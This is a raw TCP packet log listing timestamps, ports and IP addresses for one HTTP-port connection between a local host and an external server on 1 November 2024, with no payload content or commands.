Nov 1, 2024 12:14:39.345135927 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.345145941 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.345160007 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.345174074 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.345180988 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.345186949 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.345196962 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.345201015 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.345227003 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.345228910 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.345240116 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.345249891 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.345263004 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.345273018 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.345283031 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.345295906 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.345297098 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.345310926 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.345314980 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.345323086 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.345331907 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.345335960 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.345364094 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.345364094 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.345369101 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.345382929 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.345393896 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.345401049 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.345406055 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.345419884 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.345421076 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.345444918 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.345475912 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.345490932 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.345546007 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.345557928 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.345560074 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.345592022 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.345592022 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.345597029 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.345618963 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.345638037 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.345649004 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.345650911 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.345650911 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.345679998 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.345693111 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.345693111 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.345693111 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.345705986 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.345719099 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.345720053 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.345732927 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.345742941 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.345765114 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.345781088 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.345781088 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.345820904 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.345834970 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.345848083 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.345932961 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.345984936 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.345997095 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.346007109 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.346019983 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.346031904 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.346039057 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.346044064 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.346051931 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.346079111 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.346086025 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.346086025 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.346091986 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.346105099 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.346117020 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.346121073 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.346129894 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.346168995 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.346168995 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.346291065 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.346302986 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.346313953 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.346328974 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.346347094 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.346383095 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.346383095 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.346405029 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.346431971 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.346442938 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.346450090 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.346461058 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.346465111 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.346477985 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.346477985 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.346512079 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.346524000 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.346524000 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.346524000 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.346535921 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.346554041 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.346565008 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.346576929 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.346585035 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.346585035 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.346589088 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.346601963 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.346610069 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.346615076 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.346632004 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.346646070 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.346662998 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.346676111 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.346678019 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.346678019 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.346692085 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.346703053 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.346709013 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.346716881 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.346728086 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.346736908 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.346736908 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.346740007 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.346771955 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.346771955 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.346774101 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.346787930 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.346800089 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.346808910 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.346808910 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.346811056 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.346824884 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.346837997 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.346837997 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.346857071 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.346867085 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.346884966 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.346885920 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.346899033 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.346909046 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.346913099 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.346915960 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.346949100 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.346949100 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.346951008 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.346971989 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.346985102 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.346991062 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.346997976 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.347013950 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.347013950 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.347028017 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.347028971 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.347042084 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.347053051 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.347054005 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.347067118 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.347081900 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.347096920 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.347096920 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.347115040 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.347129107 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.347141981 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.347153902 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.347162008 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.347167015 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.347178936 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.347193003 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.347204924 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.347204924 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.347204924 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.347233057 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.347233057 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.347261906 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.347296000 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.347307920 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.347326994 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.347337008 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.347340107 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.347354889 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.347368002 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.347368002 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.347381115 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.347393036 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.347395897 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.347440004 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.347440004 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.347569942 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.347580910 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.347594023 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.347604036 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.347616911 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.347629070 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.347651005 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.347668886 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.347676992 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.347676992 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.347683907 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.347692966 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.347697020 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.347708941 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.347716093 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.347738028 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.347738028 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.347743034 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.347762108 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.347770929 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.347779036 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.347790956 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.347803116 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.347805023 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.347805023 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.347814083 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.347826958 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.347829103 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.347840071 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.347862005 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.347862005 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.347875118 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.347887993 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.347898960 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.347913980 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.347913980 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.347914934 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.347925901 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.347939014 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.347939014 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.347949982 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.347954035 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.347970009 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.347985983 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.347999096 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.348009109 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.348011971 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.348026037 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.348026991 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.348038912 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.348051071 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.348057985 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.348062038 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.348076105 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.348088026 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.348097086 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.348097086 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.348113060 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.348115921 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.348129988 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.348144054 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.348160982 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.348160982 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.348170996 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.348184109 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.348196030 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.348197937 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.348207951 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.348212004 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.348258018 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.348258018 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.348263979 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.348275900 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.348290920 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.348305941 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.348308086 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.348320007 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.348341942 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.348341942 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.348377943 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.348390102 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.348408937 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.348434925 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.348443985 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.348448992 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.348454952 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.348463058 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.348468065 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.348475933 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.348489046 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.348500013 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.348505020 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.348505020 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.348512888 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.348526001 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.348537922 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.348552942 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.348552942 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.348565102 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.348587990 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.348592997 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.348603964 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.348607063 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.348618984 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.348630905 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.348638058 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.348644018 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.348649979 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.348676920 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.348716021 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.348731041 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.348743916 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.348756075 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.348768950 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.348778963 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.348783016 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.348793983 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.348795891 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.348809004 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.348835945 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.348835945 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.348839998 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.348860025 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.348872900 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.348882914 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.348882914 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.348885059 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.348896027 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.348898888 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.348913908 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.348917007 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.348926067 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.348932981 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.348937988 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.348947048 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.348952055 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.348974943 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.348980904 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.348994017 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.349008083 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.349016905 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.349016905 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.349034071 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.349047899 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.349057913 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.349060059 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.349069118 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.349072933 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.349129915 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.349129915 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.349157095 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.349169016 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.349181890 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.349194050 CET	80	49979	185.215.113.16	192.168.2.7
